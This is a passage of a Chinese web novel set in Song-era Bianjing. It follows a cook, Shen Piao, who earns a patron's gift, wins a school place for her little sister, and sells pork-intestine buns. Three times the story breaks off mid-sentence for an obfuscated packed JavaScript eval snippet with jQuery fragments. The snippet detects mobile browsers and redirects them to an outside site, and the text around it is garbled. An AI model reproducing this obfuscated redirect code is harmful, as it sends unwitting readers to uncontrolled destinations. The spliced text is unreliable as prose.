沈嫖行礼谢过，他们转身就走，仆从留下给沈嫖对账。 沈嫖把今日买的一一报备，仆从小哥笑着拱手，“沈娘子大约不知，今日一贯钱剩余多少都是沈娘子的，另外剩余的食材还有这鱼，也都归于沈娘子，今日饭菜各位大官人都很喜欢。” 人都送走后，沈嫖上楼收拾碗筷，每道菜都吃的干净，就连汤都一滴不剩，她还挺疑惑的，这汤倒像是直接往外倒的，不似用勺子盛出的。 王洲一到家中就提着食盒忙往他娘子所在的堂内走。 “娘子，娘子，看为夫给你带了好吃的。” 廊下候着的丫鬟听到大官人的话，都不由的掩嘴轻笑，官人和娘子的感情深厚。 薛茗梅刚刚用过饭食，她晚上素来用得少，听闻声音，又见旁的嬷嬷也笑，眉目含羞。 王洲一一进屋，丫鬟就先接过食盒。 “今日你送来的热干面我用过，味道甚好，这又是从哪里打包来的？” 伺候的丫鬟又打湿手帕递给官人用来净手。 王洲一收拾好后，忙坐下，“还是那间小食肆，今日不是招待康兄，各大酒楼都已没位，我就定下在食肆用饭，谁知沈娘子厨艺精湛，有道糖醋鱼，我定要让你也尝一尝，打包来的是排骨莲藕汤，就剩下这么一碗，我特意给你带回的，若不是我先下手，那徐兆也要给家中带去呢。” 薛茗梅今日尝过那热干面后，倒是不怀疑自家官人话，丫鬟已经把汤盛出，还冒着热气。 陶锅还能保温，她坐在一旁慢慢品尝，不腻不膻，味道清甜可口，又有排骨的香味，从前也没这般吃过，她也是个爱吃的，汴京也都吃遍了，哪家怎样都知晓一些，现下可是有新的吃食了，汴京城的厨娘真是卧虎藏龙。 “好喝，这位娘子手艺这样好，我在汴京里竟然从未听过。” 王洲一跟着点头，“我着人查过，这位娘子从前是在四司做工，厨司有两年，近日才自立门户，开个小店，之前恐怕也没人吃过。” 薛茗梅还惦记着晌午吃过的热干面，“今日母亲也觉得那热干面很不错，况且等五日后，就是母亲生辰，我请那娘子来家中好好的做上一桌席面，让母亲也好好品尝一番。” 王洲一觉得是个好主意，“另外明日你让家中给沈娘子送去支赐，今日康兄说若户部有空位，会推荐我与徐兆，他吃的也十分尽心。” 薛茗梅听闻眼前一亮，“好，那我把支赐多给一些，按理说像沈娘子这般还没名气的厨娘，两贯钱，再一匹布即可，我明日多加一贯钱。”她说又顿下，“还是两匹布吧，沈娘子手艺精湛，怕往后有大前程。” 王洲一觉得这安排甚好，“好，你说的对，而且沈娘子是个厚道人，观她做菜就知。” 两口子虽是商户出身，但恰在待人方面，都觉得与人相处总是你帮帮我，我帮帮你，况且每个有手艺的人都值得敬佩。 沈嫖在油灯下给做衣裳，穗姐儿吃饱喝足继续识字，还有时间听阿姊讲一讲典故。 第二日一大早，刘家婶婶就来敲门，说是女学有眉目了。 11. 肥香流油的大肠包子（上） 沈嫖才刚刚洗漱过，晨起天愈发的凉。 刘家婶婶是每日都忙忙碌碌的，今可算有空，手里拿着胡饼，边吃就边来沈家，进来也不坐下，站在院子里讲起来。 “咱们这外城的女学有好几家，但我询问过，曹女傅的最是好，那女学就在新桥巷北边高殿前街右转直走最后一家，从咱们这里走过去还不过一刻钟，教学的是曹女傅，她早些年父兄获罪被罢官免职，她却考取宫中女官，后来成为宫内十分有名望的宫教博士，去年才从宫中放出，听闻性情高雅，不喜内城过于繁华嘈杂，特意在城外买下这个宅子。” 沈嫖是赞同读书学习的地方不能太过繁华，小孩子心性不算坚毅，很容易被外面的好玩的吸引，“那这曹女傅收女学生有什么条件？” 刘家婶婶一脸你怎么知道的样子？“可是呢，听我们酒楼的大师傅说，收女子束脩半年五贯钱，每日辰时上学，可自己带饭，提供学生小憩的地方，申时末归家，且只收取三个学生，每个过去都要答题过后才确定收还是不收，且每次题目都不同，咱也不知是什么意思。” 沈嫖想来束脩还可承担，她现在每日都有进项，“就是不知要问些什么问题？” 刘婶子也频频点头，“这就是女子读书花费要比男子还要高。” 汴京的男子读书有国家的大力扶持，可女子没有，就是因为这般，沈嫖也要让穗姐儿去读书，小孩子家家就应该在这个年纪读书识字，这样她才知道往后自己要过怎样的日子，全由得她来选。 “劳烦婶婶这几日帮我打听了，等晚些时候回来可千万别下厨，来家中用饭，我前些日子生病还没好好谢过婶子。” 刘婶子把手中的胡饼吃完最后一口，“说什么谢不谢的，你家中还有弟妹，可省着花销。不过你的手艺是真好，上次送来的那碗鸡肉，我是到第二天还热过一遍，又用饼子泡了菜汤，吃的干干净净。” 沈嫖抿嘴笑笑，“婶婶喜欢就好，那晚上还有更好吃的呢。” 刘婶子大大方方的，见时候也不早了，“我还得去酒楼，就不跟你闲话了。” 沈嫖哎一声，跟着把人送到门口，眼瞧着人送走，正准备回去，就见昨日的仆从小哥赶着一辆驴车，动作利落的从车上跳下，笑呵呵的拱手，“见过沈娘子。” 沈嫖回礼。 小哥说着拎起一个小包裹，沉甸甸的，“沈娘子，这是我家大官人送来的昨日的支赐，总共是三贯钱，另是两匹布，花色是我家大娘子特意使人选过的，知晓沈娘子家中有幼弟和幼妹，很是适合。” 沈嫖看那布匹比自己在匹帛店里买的要好些，虽没上手摸过，只看颜色就是更纯正一些。 “替我谢过大官人和大娘子。” 小哥笑着应下，“不过还有另外一事，五日后，是我家太夫人四十三岁的寿辰，家中安排不会大办，只家中亲眷们一同用饭，所以想请沈娘子过府做席面，关于支赐，若是做的好，肯定会比这次多。” 沈嫖没想到还能再接一个活，“好。” 小哥拿出帖子，看沈娘子进退得宜，忍不住再嘱咐一句，“家中没什么忌口的，沈娘子只管大展厨艺即可。” 沈嫖接过帖子，谢过小哥。 小哥交待完把两匹布给送到院中，才离去。 一尺是三十厘米，一匹布大概十二米左右的长度，所以成人做衣裳都能做上好几套。 沈嫖又把小包裹打开，里面是足足的三贯钱，这下穗姐儿的学费完全不用担心。 她早上煮的米粥，煮上两个鸡蛋，腌制的酸萝卜做小菜，又炒个青菜，跟穗姐儿简单吃一些。 晌午正常开门营业，只是今日竟然比昨日售卖的还要快，昨日有印象的两位郎君居然一口气就要了六碗，所以比昨日还早打烊半刻钟。 今日午间也没睡觉，她先把布匹送到冯裁缝那边，冯裁缝的小店就在李娘子家隔壁，普通人家过日子都节俭，一些一般的夏衣简单些的都是自己动手，但像冬衣，好不容易攒钱买的布料，都是来冯裁缝处的，冯裁缝本名冯喜娘，官人是做泥瓦匠的，近些日子在内城给贵人修葺宅院，好几日没归家了，穗姐儿的料子是素雅一些，也给她自己做上两套新衣，拿上郊哥儿旧衣，让裁缝来量裁。 “这布料不错，我定会给你做的十分漂亮的。”冯娘子把尺寸都记下来。 沈嫖笑着点头，“那就先多谢冯娘子，这是定钱。” 冯娘子鹅蛋脸，笑起来眉眼弯弯，“都是街里街坊的，放心吧，后日保管你过来拿衣裳。” 沈嫖从裁缝铺子出来去了外城最好的李七家的乳酪店，买上三五种果子，又买些炙羊肉，都用油纸包的四四方方的，领着穗姐儿去了曹女傅宅中。 曹女傅家中是个两进的院子，占地还不算小，门口的下人知晓来意后也并不惊讶，只是难得见穿的这样朴素的来为家中女孩求学，平日里来的大多数都家中颇有资产。 按照礼节把人请到正厅内就坐。 穗姐儿第一次来这样宽敞漂亮的宅子，手不由的更加握紧阿姊。 沈嫖感受到她小手冒着汗，低头看她，点点头，“别慌，有阿姊。” 穗姐儿嗯一声，但依旧很紧张。 没一会，一位穿着清雅，头发用素簪盘起，手腕处戴着一只温润玉镯的女子走进来，眉眼间十分端重，只见她行走间动作十分好看。 “见过曹女傅，我是家住在新桥巷的沈嫖，这是我幼妹，听闻曹女傅人品贵重，在授学上很有方式方法，所以想将我家幼妹托付于曹女傅。” 曹女傅和气的笑着点头，“来我家的一般都为此，只是我授学颇为严厉，你可能坚持？你叫什么名字？”她话是对着穗姐儿问的。 穗姐儿虽然紧张，但还是往前走一小步，小心的行礼，“曹女傅安好，我叫沈穗，是麦穗的穗，我可以坚持的。” 曹女傅见女孩眼神明亮，虽然她已经很害怕了，还能撑着过来介绍自己，五六岁的女童这样很不错，放轻些声音，“那我问你，若是灾荒年，你手中有两块胡饼，面前站着两位讨饭来的人，你会把这两块胡饼给出去吗？” 穗姐儿知晓什么是灾荒年，而且她知道挨饿的滋味，阿姊病的那几日，她就饿了好些顿，扭头看向阿姊，又回过头略微皱下眉头，“阿姊和阿兄呢？” 曹女傅疑惑，“什么？” 穗姐儿才大声又说一遍，“灾荒年，阿姊和阿兄也没有吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665056|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我不会把胡饼给别人的，我要先给阿姊和阿兄。” 曹女傅倒是第一次听到这个问题的另外一种答案，“很不错，既然穗姐儿会这般答，可见沈娘子应当待幼妹很是疼爱。” 沈嫖伸手握上穗姐儿的手，“穗姐儿也待我很好。” 曹女傅其实第一眼看到穗姐儿的眼睛，就挺喜欢的，更何况这个问题原也没有什么固定答案，端看孩子自己的心，“后日，穗姐儿就可来上学了。” 沈嫖大喜，“谢过曹女傅。” 穗姐儿也跟着一同谢过，两个人从曹女傅家中出来，沈嫖带着穗姐儿到铺子把上学需要用的笔墨纸砚先买上一些，就直接准备回家，想着莲藕还没用完，炖上汤来喝，她到巷子边上的肉铺前准备买些排骨。 汴京的肉铺多是常见，一般的坊巷桥市，都有肉铺，她观察过去，只卖煽过猪肉的铺子有三四家，其中一家的肉案上格外干净整洁，每块肉也都利落的或挂着或躺着。 边上竖起的牌子是写的是郑家肉铺，肉案前站着三个人，两位男子，一位娘子，分别售卖的有生肉，腌肉和熟肉，都随便选，沈嫖站在生肉的肉案前面。 生肉案前是位身高体壮的男子，本是眼瞧着过了时候顾客没那么多，这会也闲了下来，才用上晌午饭，瞧见一娘子过来，忙起身。 “小娘子，可要买些什么？” 沈嫖指向一块上好的肋排，用来炖汤很不错，“这块我全都要了。” 男子爽快，直接剁开，“娘子要大致剁多大块的？” 汴京的肉摊服务是非常周道的，不论是阔切，片批，细抹，还是钝刀都是包管的。 “就这么大小即可。”沈嫖伸手简单比划一下，又看向肉案下方的一个木桶中放置着一大坨猪大肠。 “敢问老板，这个可售卖？” 男子手中的刀又大又厚重，但剁起骨头来十分得心应手，听到小娘子的话忙看过去，“这个？小娘子，这是猪下水，本不值得什么钱的。”他瞧着小娘子穿着虽然简单，但手中提着的彷佛是笔墨，想来能读的书的家中也都尚可，这也买的都是排骨，这怎的又要这猪大肠？ “无事，这有多少，我可以都要了。”沈嫖想着漕工吃面也可以，但干体力活是要多少沾点荤腥的，而且汴京人都以能吃得起肉为荣的，可以包猪肉大肠馅的包子刚刚好，配上家中腌制的那么多的酸萝卜，又能解腻。 老板看小娘子不像是开玩笑的，“大约十几斤的，若是你要，我就按照每斤约十文的给你。” 沈嫖应下，“可以，能否帮着一同送回家中。我姓沈，家住在新桥巷挨着码头的第一家。” 老板倒是应下，也不远，“小娘子，我姓郑，你叫我郑屠夫就行。” “好嘞，沈娘子，我一会让店内的学徒一同给你送去。” 沈嫖带着穗姐儿回家，穗姐儿倒也不困了，因为后日就要去读书，她还挺有压力的，一回到家中就开始继续描红，恨不得把阿姊这几日教她的全部都写好。 沈嫖到家里和上一瓢面，发酵用的是老面，准备先试着包些大肠馅的包子，松软肥嫩流汁的大肠馅包子，配上酸萝卜，再来一碗绿豆汤，想来这个天吃上也正好。 12.肥香流油的大肠包子（下） 过了一刻钟，那郑家肉铺的学徒小哥两手提着满当当的送来，小哥记得地方，抬头看着这位置倒是好，到门口门没关，往里探头看过去，才发现里面是一家食肆。 沈嫖刚刚把包包子的面和好，谢过小哥后，就从小哥手里接过来排骨和猪大肠。 学徒小哥姓郑，叫郑菓，是郑屠夫的远方侄子，他一溜跑回肉铺中。 郑屠夫看他回来的还挺快，“送过去还顺利？” 郑菓嗯下，回来继续冲洗肉案，听到问话点下头，“那还是家食肆呢，之前从未听过。” 旁的郑家娘子倒是听说过，随口答道，“隔壁去码头干活的吴家大郎说过，那家食肆卖的面条，叫热干面，特别香，他回回都要吃上两大碗呢。” 郑屠夫听完很是感兴趣，他之所以年轻时候学艺想做屠夫，因为能吃肉啊，他就爱吃。 “菓哥儿，你明日也去买上三碗回来，咱们也都尝尝。” 郑菓笑着满口应下。 沈嫖先把炉子点上，排骨照旧先泡水，莲藕买的还剩下两节，削皮切成块，剩下的就是洗猪大肠。 郑屠夫家的这个猪大肠是已经简单处理过的，收拾猪大肠要翻过来先清洗过几遍，用个新的丝瓜瓤子不断地搓洗，穗姐儿在旁瞧一眼，疑惑这如何吃，但又相信阿姊定能做出来的，沈嫖在搓洗过几遍后再用盐和醋进行浸泡，泡上大概两刻钟，再清洗干净，最后用家中剩下的酒浸泡，泡上约莫半个时辰。 面盆已经放到炉子上的热水里，天气冷，这样发起来能快点。 还剩下两条鱼，都处理干净，准备全部做糖醋鱼。 门口月姐儿跑进来。 “阿姊。” 沈嫖看她笑意盈盈的，脸蛋圆圆的实在喜人，应下一声。 穗姐儿正在用心写字，听到声音赶紧转头，惊喜的开口，“月姐儿。” 月姐儿手中还拿着两块点心，“看，我特意从我大伯家给你带回来的，可香了，在乳酪张家买的。” 沈嫖在井口旁清洗鱼，看向那糕点，乳酪张家是汴京很有名的铺子，是正店，据说有三层楼，店内就算是员工都有几百人。 俩人在小桌旁打开，每人一块，穗姐儿把自己的那块掰开走到沈嫖身边，伸手直接喂到阿姊嘴里。 “阿姊吃。” 沈嫖闻到甜的奶香味，入口绵密，里面应该用的上好的白砂糖，红豆，还有羊奶，手艺确实好。 “谢谢月姐儿，你娘呢？可在家中？” 月姐儿抿嘴坐在凳子上，“我娘在家中生气呢，我祖母的腰今日刚好，就怕我和我娘在大伯娘家用晚饭，特意催我们回来，我娘就很生气，把我大伯给我祖母买的糕点全都收拾一下带回来了，但她还是生气。” 她不明白娘都出气了，为什么还是会生气？ 沈嫖理解程家嫂嫂为什么生气，谁家锅底没有灰。 “那月姐儿乖，回家跟你娘说，阿姊今日准备好些好吃的菜，邀请她来家中用饭，也邀了隔壁刘家婶婶，千万别客气。” 月姐儿脆生生的应下，她上次吃过一次阿姊做的热干面，昨日晚上做梦还梦见了呢。 “那阿姊，还有热干面吗？” 她长得圆润可爱，问话的样子似乎要流下口水。 不等沈嫖开口，穗姐儿就忙接过话，“比热干面还好吃呢。” 月姐儿赶紧就跑着回家。 程家嫂嫂这几日起早贪黑的为了照顾婆母，还要天不亮就带着月姐儿赶过去，她家月姐儿都没睡好过，现在病好了，用不着她，一脚把她踢走，她气到现在还没顺出来，家中这几日没人收拾，她一边收拾一边骂婆母。 “娘，娘。”月姐儿一溜烟的从外面跑进来，“沈家阿姊说，邀咱晚上去家中用饭，哦，还有刘家太太。” 程嫂嫂听着还有刘婶婶，心里虽然还是气不顺，手中的衣裳放下，“好，我一会也过去看看。” 月姐儿还担心娘不答应，她娘教过她，无论去谁家，人家一旦要做饭或者吃什么，自己就要回家来，娘说谁家过日子都不容易，口粮都是有数的。 但是沈家阿姊做饭实在好吃，她很想很想去，听到娘答应，一蹦一蹦的又跑出去。 程嫂嫂在家中收拾的大差不差，她家日子过的还不错，官人一个人赚钱也不少，也不需要租赁宅院，平日的都能存下，收拾上从婆母家拿回来的两兜果子，还带上应季的石榴和柿子，想着沈家院子里种的菜还没出来，她又从自家院子里割上两把韭菜，，还有一兜萝卜干。 这会沈嫖已经把蒸笼拿出来，都是原主家中的，正旦时会用蒸笼做些好吃的，不算大，胜在屉笼多，她今日也就用上一屉就成。 程嫂嫂一路热情的走进来，在家里生气的样子已经全不见了。 沈嫖把清洗干净的肥肠全都放到锅中，加了花椒八角葱段桂皮酒，煮开后捞出来过水，然后拿出来陶锅放到食肆里的小炉子上卤制，加上配好的五香粉，酱油，饴糖，下面大火烧起来，上面咕噜咕噜。 程嫂嫂一进来就闻到那咕嘟冒泡的香味。 “这是炖什么呢？” 沈嫖用另外的小炉子把排骨和莲藕炖上，“卤的猪大肠，一会准备包包子。” 程嫂嫂听到还疑惑，“这也能做在一起吗？你程大哥在外做工，最爱喝的是杂熬，但还没见过包包子的。”杂熬就是用猪下水做出来的，价钱实惠，还能有荤腥，很受工人们的欢迎。 她幼时家中穷苦，别说荤腥，就能吃点下水就觉得十分开心了。 沈嫖点头，“我邀嫂嫂来是吃饭的，可不是让嫂嫂还带礼来的。” 程家嫂嫂也很是有眼色的，“不是什么贵重的，给我们穗姐儿带来当做零嘴的。”她挽起来两侧的袖子，“我能帮着做些啥？” 沈嫖基本上把该炖的都炖上了，这会也没什么忙碌的，糖醋鱼的材料都已经备齐，只擎等着开火做。 “都忙活完了。” 小桌上还放着穗姐儿的描红。 程嫂子有些稀奇，“穗姐儿这么用功呢？” “我今日去给穗姐儿报了个女学，后日就能去读书，她这不是怕到女傅面前露怯，想多写一些。”沈嫖倒上两杯热茶，坐下来一同歇会。 程嫂子突然好奇，“哪家女学？” 沈嫖把情况简单说一下，程嫂嫂其实是想着等月姐儿年龄在大些送她去学个厨艺或者是绣坊，到年龄在说一个好婆家，也算安稳，月姐儿才六岁，怎的这么早就给送到女学中？读书识字有用吗？ “读书识字将来能做什么？” 沈嫖理解程嫂嫂的想法，“识字可以读书，读书可以明智，多懂些道理，总是好的，况且往后就算是要学厨艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668481|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧菜谱什么的，也要识字才能看懂。” 程嫂嫂也觉得有些道理，“这么说来也是，等我也跟你程大哥商量一二。” 说着话天也逐渐暗下来。 刘家婶婶也下工回来，记得晨起和沈嫖说好的，换身衣裳就过来了，拿上一兜核桃肉。 “这在门口就闻到香味了，阿嫖的手艺是真好。”她从小楼里走过来，院子里满是香味，月姐儿和穗姐儿在一旁玩，两个炉子上的陶罐里都冒着烟。 沈嫖已经捞出来两节大肠晾在一旁，面也已经发起，把案板放到院子的小桌上，准备揉面。 “是啊，这不是一说要吃好吃的，我们家月姐儿就再也不肯走了。” 刘婶婶放下东西洗洗手也开始帮忙。 沈嫖让刘家婶婶和面，分成包包子的剂子，她把放凉的大肠切成小段，再放上一些葱花，只需要放盐巴提味就行，刚刚卤制的时候已经放好了其余的香料。 沈嫖又把面接到手中，“就这样擀皮，中间厚一点，然后包成这样。” 两个人围坐在一旁，就看着沈嫖手十分灵巧的包出一个白胖褶皱又好看的包子。 程嫂嫂是真的佩服沈嫖，人这几年在四司没白忙活，学的可真好，刚刚她揉面，也不知阿嫖发面用多少老面，瞧着比她家要更松软一些，遂也跟着包起来。 刘婶子就在酒楼里做工，“别说，阿嫖的手艺真比我们那的面点大师傅好，说起来包子，听闻有个馒头叫太学馒头，我们大师傅前几日做的，里面竟然还是汤汁的，实在新奇，大师傅说还是从宫里流传出来的。” 沈嫖对这个有印象，之前还特意学习过，其实里面是用的猪皮冻，就类似于现代的灌汤包。 “是，是我也有听过。”程嫂嫂只听过，但没吃过。 三个人说着话包着包子也快，等到上笼去蒸，俩人还抢着烧火。 沈嫖直接在小楼厨房里做糖醋鱼。 刘婶婶没抢过蒸包子的，到这边厨房里帮忙干活，在底下烧火，看沈嫖炸鱼，手法娴熟，动作流畅。 “阿嫖，这是什么鱼？” “糖醋鱼，有两条，今个就都做了。” 沈嫖利落的炸完一条接着另外一条，等着鱼定型的时候开始熬汤汁，汤汁十分简单，两条鱼的就多一些，精华就是最后汤汁的醋会被蒸发掉，快出锅的时候一定要再多加一勺，确保酸度。 两条鱼炸好浇汁，那边包子也已经停火，就等着掀开。 汤汁浇在鱼上滋啦冒油的瞬间，四个人都围上来惊讶的看着。 “阿姊好厉害。”月姐儿已经满眼都是阿姊，她羡慕穗姐儿有这么厉害的阿姊。 沈嫖看她们一个个的愣住，“端上桌，咱们用饭。” 蒸屉的包子热气腾腾的放到竹筐里，炖的排骨莲藕汤也一起上桌。 桌子上满是热气，五个人围坐在一起。 “嫂嫂，婶婶，别看着了，快动手趁热吃。”沈嫖今日除了收拾猪大肠的时候麻烦些，其他的都简单。 刘婶婶好奇这包子，拿到手里还热着呢，咬上一口就有热气从里面冒出来，还有油已经浸透到面皮里，这面竟然这么松软，而且大肠特别入味 ，不知道大姐儿是怎么做的，真香啊，她觉得能吃上好几个。 沈嫖还用蒜瓣和醋，调了个蘸料，配着吃，更是越吃越香。 13.包子首卖日 她激动的点头称赞，“阿嫖，怪不得这几日邻里们都说你食肆的生意好，这真是，手艺好，到哪里都能立得住脚。”说着还不嫌烫的再大咬上一口。 沈嫖作为厨师，最具有成就感的时候，就是自己做的东西食客爱吃，她也特别高兴。 程嫂嫂也是，紧跟着咬上一口，又连着吃上好几口，包子包的不大，这几口下去，一个就没了，感觉像是没尝出什么味道呢，这就又拿上一个。 穗姐儿和月姐儿手中的包子也才吃了一小半，俩人都看呆了，怎的吃这般快，小嘴里已经都塞满了。 沈嫖爱喝汤，她拿着勺子盛出来几碗，放到桌子上，自己先趁热喝上一口，从前去武汉时，特地还体验了去挖藕，从挖出藕来，再到入陶罐煨汤不到一小时，加上上好的排骨，那碗汤让她彻底认识到每座城市每道美食都各有各的不同，但后面再喝好像都没当初的那种鲜味，不过今日在这里又好像回到第一次味道。 穗姐儿最喜欢吃糖醋鱼，先给好友夹上一块，“月姐儿，你快尝尝。” 月姐儿已然顾不上吃哪样了，彷佛是过正旦一般，鱼外焦里嫩，还有酸甜味，比她今日吃过的乳酪张家的糕点还要好吃。 程嫂嫂已然吃过两个包子，又捧着碗喝上两口汤，顿觉那暖洋洋的感觉都疏通全身，极其舒坦。 “这个汤真好喝，这里面是莲藕？我平日都是炒着吃的，而且都是脆脆的。” “是粉藕，特意用来煨汤的。”沈嫖吃上一块排骨，肉烂脱骨，充分吸收了汤汁，很不错。 刘家嫂嫂对这个糖醋鱼简直是欲罢不能，她在酒楼里也算是开过眼，见过世面的，但都不及这道糖醋鱼。 若说酸吧，但又没有那种酸的灼心感，只酸的开胃，又不腻，外加上后味的甜味，真是实实在在的酸甜可口，这其中若是没下功夫，绝做不出来这般好吃的。 五个人，除了还剩下几个包子，汤和菜全部吃完，都吃的极其满足。 刘家婶婶原还会担心沈家大姐儿，现在完全不会，有这般的手艺，是半点也不会饿着的。 沈嫖把包子也都各自封上油纸给她们两家带回去，她这边还有剩下不少的大肠，今日本就是要试菜，明日中午还会包上新的。 吃过饭后，程嫂嫂和刘婶婶俩人没几下就把厨房锅碗瓢盆的都洗的干净，本也都是十分利落的人。 刘家婶婶揣着热乎的包子到家，又简单的弄些白菜叶，面絮给刘阿叔下碗面汤，煤店里这几日都是在囤煤，他们下工的时间也越来也晚，索性东家会把晚食给包了，但吃过饭夜间再加紧干活，回到家里还是会饿，所以估摸着时辰又简单做上一餐。 这边汤刚刚出锅，刘阿叔就进来院子。 刘婶婶忙着把热包子和汤端到堂屋中，刘阿叔也洗手洗脸进来坐下就准备吃饭。 “今个去买的包子啊？”他说着拿起来包子。 刘婶婶拿过簸箩筐坐在一旁纳鞋底，却不答话。 刘阿叔咬上一口要喝汤时才惊讶，不是小食摊上买的，还是荤的，油也足，味道也好，面也喧。 他是干体力活的，每日累极，因着家里有俩小子，不仅现在要上学堂，往后还要娶妻，所以他们两口都十分节俭，家中不常吃肉，要吃也是等孩子们都在家的时候，上次吃肉还是托沈家大姐儿的福气，但若说平日里最想吃的就是肉，吃肉有油，那叫一个香。 “这味道是外头买的吗？阿嫖今日特意邀了我与程家娘子去家中用饭，虽她不说，也是想谢我们往日对她的照顾。” 刘阿叔又大口吃着，“这孩子有心了，咱帮人原也没想过要人回报，不过手艺确实好，上次那鸡肉就是。”他又呼噜喝口汤，顿觉得不如包子，安慰娘子，“这样也好，往后你也不用太过操心她。” 刘婶婶也觉得是，不过家中到底没个大人，能帮也是要帮的。 “啥时候可买煤，可有说？”她还约着阿嫖程家娘子一同去呢。 刘阿叔已经吃第二个包子，“等再过几日，东家说忙完这几船，能便宜一些给我们。” 刘婶婶这才安心。 过冬没有煤炭可不行的。 程家大郎是头回吃到沈家大姐的手艺，劳累一天能吃上这样的大包子，心情都好很多。 “怪不得上回你同我说那面条多好吃呢。” 程嫂嫂很是与有荣焉的样子，“那是自然，还有那糖醋鱼，就算是去那大酒楼，也没阿嫖的手艺好。”虽说她也去过酒楼吃饭。 程家大郎倒是很想吃口那面条了。 程嫂嫂一口应下，又说起女学的事，“我们月姐儿也送去吧，我瞧着那穗姐儿在描红的，已经有些样子，咱们就这么一个孩子，往后多少都是给她的。” 程家大郎虽说也重视男丁，因为毕竟往后需要顶门立户，可若命里只有这一个女孩，他也是认命的。 “行，咱们家也供得起，你明日也多询问几家，特别是穗姐儿去的那家，俩女孩能一同上学，也可照顾一二。” 程嫂嫂哎声。 早起，沈嫖用昨日程嫂嫂送来的一把新鲜的韭菜做的韭菜丸子汤，汤底用酸番茄炒制，加上白菜叶子，再打上两个鸡蛋花，用淀粉勾芡最后出锅滴上芝麻油。 喝完热乎乎微酸的韭菜丸子汤，暖身又暖胃。 沈嫖和上发面，大锅里烧上温水，把面盆放进去，等着发面，就开始准备热干面，今日有包子，热干面份数就只有三十份，做的少一些。 大肠是昨日卤汁好的，腌制一夜，比昨日还要入味，汤底因为低温，还有些结冻，就更好包包子。 蒸屉放到小锅上面，大锅里还是照旧二次煮热干面的。 这样简单收拾一下就妥当。 快到晌午点，蒸屉里的包子有三层，大概有七八十个，绿豆汤在炉子上不断的用火煨着。 程嫂嫂离得近，早早的就特意拿着食盒来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673520|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买上一碗，沈嫖给盛上满满一碗。 郑菓早早打听过，来的也很早，排在第一个，本拿着食盒要三碗面条，又瞧见有包子，人比较多，他也没多耽误时候多想，又买上三个包子，看沈娘子忙的也不抬头，应是也没认出自己来。 沈嫖每个包子定四文钱，因为平常小食摊普通炊饼是两文钱。 郑菓买好就往回赶，毕竟刚刚闻到香味，他肚子里的馋虫已经被勾起。 排在第二位的是个身材瘦弱的少年。 何疆才十六岁，他是家中长子，母亲身体多病，时常药汤不离口，爹爹也是在不断忙着干活，下还有弟弟妹妹，幼弟聪明，在读书上十分有天赋，爹咬着牙要供他读书，眼看着家中吃了上顿没下顿，爹爹才恬脸去求了家中已经出五服的远亲，同一个姓氏的，爹爹并未见到何大官人的面，不过没几日就说让有何大官人家中管事的过来捎上口信，可以让他参军，月月也有俸禄拿，所以他平日里也十分节俭，吃些没油水的炊饼再喝些凉水，但稍微去一些食摊，一份汤面就要十几二十文钱，听了同僚的话，他才特意来排队，只站在门口就闻到里面热干面的香味。 “今日还有包子？”他瞧见前面的那小哥打包买回去的。 “是呢，四文钱一个，是大肠馅的。” 何疆看看面条，又看看包子，“那给我俩包子。” 沈嫖今日包的比昨日要大一些，用油纸给他包上两个。 何疆又开口，“再来一份绿豆汤。” 沈嫖才抬头看向他，小郎君看起来和沈郊差不多大，还有个共同点，那就是都饿的面黄肌瘦，“绿豆汤可以一直免费续汤。”说完笑着点下头。 何疆有些窘迫，不过他进去打上一碗汤就坐下大口吃着，包子松软好吃，最重要的是香，香的流油，且味道很足，他好像很久没吃过荤肉，绿豆汤冒着热气，吃口包子顺口汤，比凉水吃炊饼好很多，他喝了两三碗汤，虽没吃饱，但比炊饼和凉水舒服多了。 包子卖的很快，杂熬平日也常喝过，只是大肠包包子第一次见，不过那包子松软大个，一口咬下去还流汤汁，实在好吃。 大多数人都是一碗面，一个或者两个包子，再来一份汤，吃饱喝足的回到码头晒着太阳，舒舒坦坦的。 郑菓带着三份面条和包子回去。 郑屠夫吃着热腾腾的面条，满口的麻酱香味，里面的蒜末微微辛辣味，十分满足。 “这包子是什么馅料的？” 郑菓埋头吃的正高兴，听到问话头都未抬，“我忘记问了，看着松软，就想着买回来尝尝。” 郑屠夫看他吃相叹声气，自己一口咬下去满嘴流油，本想说香，实在香，但又一顿，仔细瞧过，才惊讶，“这是大肠？”怪不得。 郑家娘子也是，“没想到大肠做馅料包包子，这么香，就是不知道这是怎么调拌的馅料。”她剥个蒜瓣还不忘递给自家官人一个，一口蒜瓣，一口包子。 14.蒜苗炒熏肠 